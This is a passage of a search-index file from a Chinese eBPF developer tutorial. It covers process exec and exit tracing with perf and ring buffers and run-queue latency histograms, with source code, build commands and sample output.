中文入门指南： https://www.modb.pro/db/391570 （1h） 有大量的参考资料： https://github.com/zoidbergwill/awesome-ebpf （2-3h） 可以选自己感兴趣的 PPT 翻一翻： https://github.com/gojue/ebpf-slide （1-2h） 回答三个问题： 了解 eBPF 是什么东西？为啥要有这个玩意，不能用内核模块？ 它有什么功能？能在 Linux 内核里面完成哪些事情？有哪些 eBPF 程序的类型和 helper（不需要知道全部，但是需要知道去哪里找）？ 能拿来做什么？比如说在哪些场景中进行运用？网络、安全、可观测性？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » eBPF 入门（5-7h）","id":"4","title":"eBPF 入门（5-7h）"},"40":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具，它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第七篇，主要介绍如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，不需要再通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出。通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » eBPF 入门实践教程七：捕获进程执行事件，通过 perf event array 向用户态打印输出","id":"40","title":"eBPF 入门实践教程七：捕获进程执行事件，通过 perf event array 向用户态打印输出"},"41":{"body":"eBPF 提供了两个环形缓冲区，可以用来将信息从 eBPF 程序传输到用户区控制器。第一个是perf环形缓冲区，，它至少从内核v4.15开始就存在了。第二个是后来引入的 BPF 环形缓冲区。本文只考虑perf环形缓冲区。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » perf buffer","id":"41","title":"perf buffer"},"42":{"body":"通过 perf event array 向用户态命令行打印输出，需要编写一个头文件，一个 C 源文件。示例代码如下： 头文件：execsnoop.h #ifndef __EXECSNOOP_H\n#define __EXECSNOOP_H #define TASK_COMM_LEN 16 struct event { int pid; int ppid; int uid; int retval; bool is_exit; char comm[TASK_COMM_LEN];\n}; #endif /* __EXECSNOOP_H */ 源文件：execsnoop.bpf.c // SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause)\n#include \n#include \n#include \n#include \"execsnoop.h\" struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); SEC(\"tracepoint/syscalls/sys_enter_execve\")\nint tracepoint__syscalls__sys_enter_execve(struct trace_event_raw_sys_enter* ctx)\n{ u64 id; pid_t pid, tgid; struct event event={0}; struct task_struct *task; uid_t uid = (u32)bpf_get_current_uid_gid(); id = bpf_get_current_pid_tgid(); tgid = id >> 32; event.pid = tgid; event.uid = uid; task = (struct task_struct*)bpf_get_current_task(); event.ppid = BPF_CORE_READ(task, real_parent, tgid); char *cmd_ptr = (char *) BPF_CORE_READ(ctx, args[0]); bpf_probe_read_str(&event.comm, sizeof(event.comm), cmd_ptr); bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); return 0;\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这段代码定义了个 eBPF 程序，用于捕获进程执行 execve 系统调用的入口。 在入口程序中，我们首先获取了当前进程的进程 ID 和用户 ID，然后通过 bpf_get_current_task 函数获取了当前进程的 task_struct 结构体，并通过 bpf_probe_read_str 函数读取了进程名称。最后，我们通过 bpf_perf_event_output 函数将进程执行事件输出到 perf buffer。 使用这段代码，我们就可以捕获 Linux 内核中进程执行的事件, 并分析进程的执行情况。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 使用容器编译： docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者使用 ecc 编译： ecc execsnoop.bpf.c execsnoop.h 运行 $ sudo ./ecli run package.json TIME PID PPID UID COMM 21:28:30 40747 3517 1000 node\n21:28:30 40748 40747 1000 sh\n21:28:30 40749 3517 1000 node\n21:28:30 40750 40749 1000 sh\n21:28:30 40751 3517 1000 node\n21:28:30 40752 40751 1000 sh\n21:28:30 40753 40752 1000 cpuUsage.sh","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » execsnoop","id":"42","title":"execsnoop"},"43":{"body":"本文介绍了如何捕获 Linux 内核中进程执行的事件，并且通过 perf event array 向用户态命令行打印输出，通过 perf event array 向用户态发送信息之后，可以进行复杂的数据处理和分析。在 libbpf 对应的内核态代码中，定义这样一个结构体和对应的头文件： struct { __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); __uint(key_size, sizeof(u32)); __uint(value_size, sizeof(u32));\n} events SEC(\".maps\"); 就可以往用户态直接发送信息。 更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"捕获进程执行/退出时间，通过 perf event array 向用户态打印输出 » 总结","id":"43","title":"总结"},"44":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出","id":"44","title":"eBPF 入门开发实践教程八：在 eBPF 中使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出"},"45":{"body":"现在有一个新的 BPF 数据结构可用，eBPF 环形缓冲区（ring buffer）。它解决了 BPF perf buffer（当今从内核向用户空间发送数据的事实上的标准）的内存效率和事件重排问题，同时达到或超过了它的性能。它既提供了与 perf buffer 兼容以方便迁移，又有新的保留/提交API，具有更好的可用性。另外，合成和真实世界的基准测试表明，在几乎所有的情况下，所以考虑将其作为从BPF程序向用户空间发送数据的默认选择。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » ring buffer","id":"45","title":"ring buffer"},"46":{"body":"只要 BPF 程序需要将收集到的数据发送到用户空间进行后处理和记录，它通常会使用 BPF perf buffer（perfbuf）来实现。Perfbuf 是每个CPU循环缓冲区的集合，它允许在内核和用户空间之间有效地交换数据。它在实践中效果很好，但由于其按CPU设计，它有两个主要的缺点，在实践中被证明是不方便的：内存的低效使用和事件的重新排序。 为了解决这些问题，从Linux 5.8开始，BPF提供了一个新的BPF数据结构（BPF map）。BPF环形缓冲区（ringbuf）。它是一个多生产者、单消费者（MPSC）队列，可以同时在多个CPU上安全共享。 BPF ringbuf 支持来自 BPF perfbuf 的熟悉的功能: 变长的数据记录。 能够通过内存映射区域有效地从用户空间读取数据，而不需要额外的内存拷贝和/或进入内核的系统调用。 既支持epoll通知，又能以绝对最小的延迟进行忙环操作。 同时，BPF ringbuf解决了BPF perfbuf的以下问题: 内存开销。 数据排序。 浪费的工作和额外的数据复制。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » eBPF ringbuf vs eBPF perfbuf","id":"46","title":"eBPF ringbuf vs eBPF perfbuf"},"47":{"body":"本文是 eBPF 入门开发实践教程的第八篇，在 eBPF 中使用 exitsnoop 监控进程退出事件，并使用 ring buffer 向用户态打印输出。 使用 ring buffer 向用户态打印输出的步骤和 perf buffer 类似，首先需要定义一个头文件： 头文件：exitsnoop.h #ifndef __BOOTSTRAP_H\n#define __BOOTSTRAP_H #define TASK_COMM_LEN 16\n#define MAX_FILENAME_LEN 127 struct event { int pid; int ppid; unsigned exit_code; unsigned long long duration_ns; char comm[TASK_COMM_LEN];\n}; #endif /* __BOOTSTRAP_H */ 源文件：exitsnoop.bpf.c #include \"vmlinux.h\"\n#include \n#include \n#include \n#include \"exitsnoop.h\" char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; struct { __uint(type, BPF_MAP_TYPE_RINGBUF); __uint(max_entries, 256 * 1024);\n} rb SEC(\".maps\"); SEC(\"tp/sched/sched_process_exit\")\nint handle_exit(struct trace_event_raw_sched_process_template* ctx)\n{ struct task_struct *task; struct event *e; pid_t pid, tid; u64 id, ts, *start_ts, start_time = 0; /* get PID and TID of exiting thread/process */ id = bpf_get_current_pid_tgid(); pid = id >> 32; tid = (u32)id; /* ignore thread exits */ if (pid != tid) return 0; /* reserve sample from BPF ringbuf */ e = bpf_ringbuf_reserve(&rb, sizeof(*e), 0); if (!e) return 0; /* fill out the sample with data */ task = (struct task_struct *)bpf_get_current_task(); start_time = BPF_CORE_READ(task, start_time); e->duration_ns = bpf_ktime_get_ns() - start_time; e->pid = pid; e->ppid = BPF_CORE_READ(task, real_parent, tgid); e->exit_code = (BPF_CORE_READ(task, exit_code) >> 8) & 0xff; bpf_get_current_comm(&e->comm, sizeof(e->comm)); /* send data to user-space for post-processing */ bpf_ringbuf_submit(e, 0); return 0;\n} 这段代码展示了如何使用 exitsnoop 监控进程退出事件并使用 ring buffer 向用户态打印输出： 首先，我们引入所需的头文件和 exitsnoop.h。 定义一个名为 \"LICENSE\" 的全局变量，内容为 \"Dual BSD/GPL\"，这是 eBPF 程序的许可证要求。 定义一个名为 rb 的 BPF_MAP_TYPE_RINGBUF 类型的映射，它将用于将内核空间的数据传输到用户空间。指定 max_entries 为 256 * 1024，代表 ring buffer 的最大容量。 定义一个名为 handle_exit 的 eBPF 程序，它将在进程退出事件触发时执行。传入一个名为 ctx 的 trace_event_raw_sched_process_template 结构体指针作为参数。 使用 bpf_get_current_pid_tgid() 函数获取当前任务的 PID 和 TID。对于主线程，PID 和 TID 相同；对于子线程，它们是不同的。我们只关心进程（主线程）的退出，因此在 PID 和 TID 不同时返回 0，忽略子线程退出事件。 使用 bpf_ringbuf_reserve 函数为事件结构体 e 在 ring buffer 中预留空间。如果预留失败，返回 0。 使用 bpf_get_current_task() 函数获取当前任务的 task_struct 结构指针。 将进程相关信息填充到预留的事件结构体 e 中，包括进程持续时间、PID、PPID、退出代码以及进程名称。 最后，使用 bpf_ringbuf_submit 函数将填充好的事件结构体 e 提交到 ring buffer，之后在用户空间进行处理和输出。 这个示例展示了如何使用 exitsnoop 和 ring buffer 在 eBPF 程序中捕获进程退出事件并将相关信息传输到用户空间。这对于分析进程退出原因和监控系统行为非常有用。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » exitsnoop","id":"47","title":"exitsnoop"},"48":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest Or $ ecc exitsnoop.bpf.c exitsnoop.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ./ecli run package.json TIME PID PPID EXIT_CODE DURATION_NS COMM 21:40:09 42050 42049 0 0 which\n21:40:09 42049 3517 0 0 sh\n21:40:09 42052 42051 0 0 ps\n21:40:09 42051 3517 0 0 sh\n21:40:09 42055 42054 0 0 sed\n21:40:09 42056 42054 0 0 cat\n21:40:09 42057 42054 0 0 cat\n21:40:09 42058 42054 0 0 cat\n21:40:09 42059 42054 0 0 cat","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » Compile and Run","id":"48","title":"Compile and Run"},"49":{"body":"本文介绍了如何使用 eunomia-bpf 开发一个简单的 BPF 程序，该程序可以监控 Linux 系统中的进程退出事件, 并将捕获的事件通过 ring buffer 发送给用户空间程序。在本文中，我们使用 eunomia-bpf 编译运行了这个例子。 为了更好地理解和实践 eBPF 编程，我们建议您阅读 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 。此外，我们还为您提供了完整的教程和源代码，您可以在 https://github.com/eunomia-bpf/bpf-developer-tutorial 中查看和学习。希望本教程能够帮助您顺利入门 eBPF 开发，并为您的进一步学习和实践提供有益的参考。","breadcrumbs":"使用 exitsnoop 监控进程退出事件，使用 ring buffer 向用户态打印输出 » 总结","id":"49","title":"总结"},"5":{"body":"了解并尝试一下 eBPF 开发框架： BCC 开发各类小工具的例子： https://github.com/iovisor/bcc/blob/master/docs/tutorial_bcc_python_developer.md （跑一遍，3-4h） libbpf 的一些例子： https://github.com/libbpf/libbpf-bootstrap （选感兴趣的运行一下，并阅读一下源代码，2h） 基于 libbpf 和 eunomia-bpf 的教程： https://github.com/eunomia-bpf/bpf-developer-tutorial （阅读 1-10 的部分，3-4h） 其他开发框架：Go 语言或者 Rust 语言，请自行搜索并且尝试（0-2h） 有任何问题或者想了解的东西，不管是不是和本项目相关，都可以在本项目的 discussions 里面开始讨论。 回答一些问题，并且进行一些尝试（2-5h）： 如何开发一个最简单的 eBPF 程序？ 如何用 eBPF 追踪一个内核功能或函数？有很多种方法，举出对应的代码； 有哪些方案能通过用户态和内核态通信？如何从用户态向内核态传送信息？如何从内核态向用户态传递信息？举出代码示例； 编写一个你自己的 eBPF 程序，实现一个功能； eBPF 程序的整个生命周期里面，分别在用户态和内核态做了哪些事情？","breadcrumbs":"介绍 eBPF 的基本概念、常见的开发工具 » 了解如何开发 eBPF 程序（10-15h）","id":"5","title":"了解如何开发 eBPF 程序（10-15h）"},"50":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 runqlat 是一个 eBPF 工具，用于分析 Linux 系统的调度性能。具体来说，runqlat 用于测量一个任务在被调度到 CPU 上运行之前在运行队列中等待的时间。这些信息对于识别性能瓶颈和提高 Linux 内核调度算法的整体效率非常有用。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录","id":"50","title":"eBPF 入门开发实践教程九：捕获进程调度延迟，以直方图方式记录"},"51":{"body":"本教程是 eBPF 入门开发实践系列的第九部分，主题是 \"捕获进程调度延迟\"。在此，我们将介绍一个名为 runqlat 的程序，其作用是以直方图的形式记录进程调度延迟。 Linux 操作系统使用进程来执行所有的系统和用户任务。这些进程可能被阻塞、杀死、运行，或者正在等待运行。处在后两种状态的进程数量决定了 CPU 运行队列的长度。 进程有几种可能的状态，如： 可运行或正在运行 可中断睡眠 不可中断睡眠 停止 僵尸进程 等待资源或其他函数信号的进程会处在可中断或不可中断的睡眠状态：进程被置入睡眠状态，直到它需要的资源变得可用。然后，根据睡眠的类型，进程可以转移到可运行状态，或者保持睡眠。 即使进程拥有它需要的所有资源，它也不会立即开始运行。它会转移到可运行状态，与其他处在相同状态的进程一起排队。CPU可以在接下来的几秒钟或毫秒内执行这些进程。调度器为 CPU 排列进程，并决定下一个要执行的进程。 根据系统的硬件配置，这个可运行队列（称为 CPU 运行队列）的长度可以短也可以长。短的运行队列长度表示 CPU 没有被充分利用。另一方面，如果运行队列长，那么可能意味着 CPU 不够强大，无法执行所有的进程，或者 CPU 的核心数量不足。在理想的 CPU 利用率下，运行队列的长度将等于系统中的核心数量。 进程调度延迟，也被称为 \"run queue latency\"，是衡量线程从变得可运行（例如，接收到中断，促使其处理更多工作）到实际在 CPU 上运行的时间。在 CPU 饱和的情况下，你可以想象线程必须等待其轮次。但在其他奇特的场景中，这也可能发生，而且在某些情况下，它可以通过调优减少，从而提高整个系统的性能。 我们将通过一个示例来阐述如何使用 runqlat 工具。这是一个负载非常重的系统： # runqlat\nTracing run queue latency... Hit Ctrl-C to end.\n^C usecs : count distribution 0 -> 1 : 233 |*********** | 2 -> 3 : 742 |************************************ | 4 -> 7 : 203 |********** | 8 -> 15 : 173 |******** | 16 -> 31 : 24 |* | 32 -> 63 : 0 | | 64 -> 127 : 30 |* | 128 -> 255 : 6 | | 256 -> 511 : 3 | | 512 -> 1023 : 5 | | 1024 -> 2047 : 27 |* | 2048 -> 4095 : 30 |* | 4096 -> 8191 : 20 | | 8192 -> 16383 : 29 |* | 16384 -> 32767 : 809 |****************************************| 32768 -> 65535 : 64 |*** | 在这个输出中，我们看到了一个双模分布，一个模在0到15微秒之间，另一个模在16到65毫秒之间。这些模式在分布（它仅仅是 \"count\" 列的视觉表示）中显示为尖峰。例如，读取一行：在追踪过程中，809个事件落入了16384到32767微秒的范围（16到32毫秒）。 在后续的教程中，我们将深入探讨如何利用 eBPF 对此类指标进行深度跟踪和分析，以更好地理解和优化系统性能。同时，我们也将学习更多关于 Linux 内核调度器、中断处理和 CPU 饱 runqlat 的实现利用了 eBPF 程序，它通过内核跟踪点和函数探针来测量进程在运行队列中的时间。当进程被排队时，trace_enqueue 函数会在一个映射中记录时间戳。当进程被调度到 CPU 上运行时，handle_switch 函数会检索时间戳，并计算当前时间与排队时间之间的时间差。这个差值（或 delta）被用于更新进程的直方图，该直方图记录运行队列延迟的分布。该直方图可用于分析 Linux 内核的调度性能。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 原理","id":"51","title":"runqlat 原理"},"52":{"body":"","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat 代码实现","id":"52","title":"runqlat 代码实现"},"53":{"body":"首先我们需要编写一个源代码文件 runqlat.bpf.c: // SPDX-License-Identifier: GPL-2.0\n// Copyright (c) 2020 Wenbo Zhang\n#include \n#include \n#include \n#include \n#include \"runqlat.h\"\n#include \"bits.bpf.h\"\n#include \"maps.bpf.h\"\n#include \"core_fixes.bpf.h\" #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; /// @sample {\"interval\": 1000, \"type\" : \"log2_hist\"}\nstruct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ struct hist *histp; u64 *tsp, slot; u32 pid, hkey; s64 delta; if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; if (get_task_state(prev) == TASK_RUNNING) trace_enqueue(BPF_CORE_READ(prev, tgid), BPF_CORE_READ(prev, pid)); pid = BPF_CORE_READ(next, pid); tsp = bpf_map_lookup_elem(&start, &pid); if (!tsp) return 0; delta = bpf_ktime_get_ns() - *tsp; if (delta < 0) goto cleanup; if (targ_per_process) hkey = BPF_CORE_READ(next, tgid); else if (targ_per_thread) hkey = pid; else if (targ_per_pidns) hkey = pid_namespace(next); else hkey = -1; histp = bpf_map_lookup_or_try_init(&hists, &hkey, &zero); if (!histp) goto cleanup; if (!histp->comm[0]) bpf_probe_read_kernel_str(&histp->comm, sizeof(histp->comm), next->comm); if (targ_ms) delta /= 1000000U; else delta /= 1000U; slot = log2l(delta); if (slot >= MAX_SLOTS) slot = MAX_SLOTS - 1; __sync_fetch_and_add(&histp->slots[slot], 1); cleanup: bpf_map_delete_elem(&start, &pid); return 0;\n} SEC(\"raw_tp/sched_wakeup\")\nint BPF_PROG(handle_sched_wakeup, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_wakeup_new\")\nint BPF_PROG(handle_sched_wakeup_new, struct task_struct *p)\n{ if (filter_cg && !bpf_current_task_under_cgroup(&cgroup_map, 0)) return 0; return trace_enqueue(BPF_CORE_READ(p, tgid), BPF_CORE_READ(p, pid));\n} SEC(\"raw_tp/sched_switch\")\nint BPF_PROG(handle_sched_switch, bool preempt, struct task_struct *prev, struct task_struct *next)\n{ return handle_switch(preempt, prev, next);\n} char LICENSE[] SEC(\"license\") = \"GPL\"; 这其中定义了一些常量和全局变量，用于过滤对应的追踪目标： #define MAX_ENTRIES 10240\n#define TASK_RUNNING 0 const volatile bool filter_cg = false;\nconst volatile bool targ_per_process = false;\nconst volatile bool targ_per_thread = false;\nconst volatile bool targ_per_pidns = false;\nconst volatile bool targ_ms = false;\nconst volatile pid_t targ_tgid = 0; 这些变量包括最大映射项数量、任务状态、过滤选项和目标选项。这些选项可以通过用户空间程序设置，以定制 eBPF 程序的行为。 接下来，定义了一些 eBPF 映射： struct { __uint(type, BPF_MAP_TYPE_CGROUP_ARRAY); __type(key, u32); __type(value, u32); __uint(max_entries, 1);\n} cgroup_map SEC(\".maps\"); struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, u64);\n} start SEC(\".maps\"); static struct hist zero; struct { __uint(type, BPF_MAP_TYPE_HASH); __uint(max_entries, MAX_ENTRIES); __type(key, u32); __type(value, struct hist);\n} hists SEC(\".maps\"); 这些映射包括： cgroup_map 用于过滤 cgroup； start 用于存储进程入队时的时间戳； hists 用于存储直方图数据，记录进程调度延迟。 接下来是一些辅助函数： trace_enqueue 函数用于在进程入队时记录其时间戳： static int trace_enqueue(u32 tgid, u32 pid)\n{ u64 ts; if (!pid) return 0; if (targ_tgid && targ_tgid != tgid) return 0; ts = bpf_ktime_get_ns(); bpf_map_update_elem(&start, &pid, &ts, BPF_ANY); return 0;\n} pid_namespace 函数用于获取进程所属的 PID namespace： static unsigned int pid_namespace(struct task_struct *task)\n{ struct pid *pid; unsigned int level; struct upid upid; unsigned int inum; /* get the pid namespace by following task_active_pid_ns(), * pid->numbers[pid->level].ns */ pid = BPF_CORE_READ(task, thread_pid); level = BPF_CORE_READ(pid, level); bpf_core_read(&upid, sizeof(upid), &pid->numbers[level]); inum = BPF_CORE_READ(upid.ns, ns.inum); return inum;\n} handle_switch 函数是核心部分，用于处理调度切换事件，计算进程调度延迟并更新直方图数据： static int handle_switch(bool preempt, struct task_struct *prev, struct task_struct *next)\n{ ...\n} 首先，函数根据 filter_cg 的设置判断是否需要过滤 cgroup。然后，如果之前的进程状态为 TASK_RUNNING，则调用 trace_enqueue 函数记录进程的入队时间。接着，函数查找下一个进程的入队时间戳，如果找不到，直接返回。计算调度延迟（delta），并根据不同的选项设置（targ_per_process，targ_per_thread，targ_per_pidns），确定直方图映射的键（hkey）。然后查找或初始化直方图映射，更新直方图数据，最后删除进程的入队时间戳记录。 接下来是 eBPF 程序的入口点。程序使用三个入口点来捕获不同的调度事件： handle_sched_wakeup：用于处理 sched_wakeup 事件，当一个进程从睡眠状态被唤醒时触发。 handle_sched_wakeup_new：用于处理 sched_wakeup_new 事件，当一个新创建的进程被唤醒时触发。 handle_sched_switch：用于处理 sched_switch 事件，当调度器选择一个新的进程运行时触发。 这些入口点分别处理不同的调度事件，但都会调用 handle_switch 函数来计算进程的调度延迟并更新直方图数据。 最后，程序包含一个许可证声明： char LICENSE[] SEC(\"license\") = \"GPL\"; 这一声明指定了 eBPF 程序的许可证类型，这里使用的是 \"GPL\"。这对于许多内核功能是必需的，因为它们要求 eBPF 程序遵循 GPL 许可证。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.bpf.c","id":"53","title":"runqlat.bpf.c"},"54":{"body":"然后我们需要定义一个头文件runqlat.h，用来给用户态处理从内核态上报的事件： /* SPDX-License-Identifier: (LGPL-2.1 OR BSD-2-Clause) */\n#ifndef __RUNQLAT_H\n#define __RUNQLAT_H #define TASK_COMM_LEN 16\n#define MAX_SLOTS 26 struct hist { __u32 slots[MAX_SLOTS]; char comm[TASK_COMM_LEN];\n}; #endif /* __RUNQLAT_H */","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » runqlat.h","id":"54","title":"runqlat.h"},"55":{"body":"eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest 或者 $ ecc runqlat.bpf.c runqlat.h\nCompiling bpf object...\nGenerating export types...\nPacking ebpf object and config into package.json... Run: $ sudo ecli run examples/bpftools/runqlat/package.json -h\nUsage: runqlat_bpf [--help] [--version] [--verbose] [--filter_cg] [--targ_per_process] [--targ_per_thread] [--targ_per_pidns] [--targ_ms] [--targ_tgid VAR] A simple eBPF program Optional arguments: -h, --help shows help message and exits -v, --version prints version information and exits --verbose prints libbpf debug information --filter_cg set value of bool variable filter_cg --targ_per_process set value of bool variable targ_per_process --targ_per_thread set value of bool variable targ_per_thread --targ_per_pidns set value of bool variable targ_per_pidns --targ_ms set value of bool variable targ_ms --targ_tgid set value of pid_t variable targ_tgid Built with eunomia-bpf framework.\nSee https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run examples/bpftools/runqlat/package.json\nkey = 4294967295\ncomm = rcu_preempt (unit) : count distribution 0 -> 1 : 9 |**** | 2 -> 3 : 6 |** | 4 -> 7 : 12 |***** | 8 -> 15 : 28 |************* | 16 -> 31 : 40 |******************* | 32 -> 63 : 83 |****************************************| 64 -> 127 : 57 |*************************** | 128 -> 255 : 19 |********* | 256 -> 511 : 11 |***** | 512 -> 1023 : 2 | | 1024 -> 2047 : 2 | | 2048 -> 4095 : 0 | | 4096 -> 8191 : 0 | | 8192 -> 16383 : 0 | | 16384 -> 32767 : 1 | | $ sudo ecli run examples/bpftools/runqlat/package.json --targ_per_process\nkey = 3189\ncomm = cpptools (unit) : count distribution 0 -> 1 : 0 | | 2 -> 3 : 0 | | 4 -> 7 : 0 | | 8 -> 15 : 1 |*** | 16 -> 31 : 2 |******* | 32 -> 63 : 11 |****************************************| 64 -> 127 : 8 |***************************** | 128 -> 255 : 3 |********** | 完整源代码请见： https://github.com/eunomia-bpf/bpf-developer-tutorial/tree/main/src/9-runqlat 参考资料： https://www.brendangregg.com/blog/2016-10-08/linux-bcc-runqlat.html https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.c","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 编译运行","id":"55","title":"编译运行"},"56":{"body":"runqlat 是一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度。编译这个程序可以使用 ecc 工具，运行时可以使用 ecli 命令。 runqlat 是一种用于监控Linux内核中进程调度延迟的工具。它可以帮助您了解进程在内核中等待执行的时间，并根据这些信息优化进程调度，提高系统的性能。可以在 libbpf-tools 中找到最初的源代码： https://github.com/iovisor/bcc/blob/master/libbpf-tools/runqlat.bpf.c 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"一个 Linux 内核 BPF 程序，通过柱状图来总结调度程序运行队列延迟，显示任务等待运行在 CPU 上的时间长度 » 总结","id":"56","title":"总结"},"57":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第十篇，在 eBPF 中使用 hardirqs 或 softirqs 捕获中断事件。 hardirqs 和 softirqs 是 Linux 内核中两种不同类型的中断处理程序。它们用于处理硬件设备产生的中断请求，以及内核中的异步事件。在 eBPF 中，我们可以使用同名的 eBPF 工具 hardirqs 和 softirqs 来捕获和分析内核中与中断处理相关的信息。","breadcrumbs":"使用 hardirqs 或 softirqs 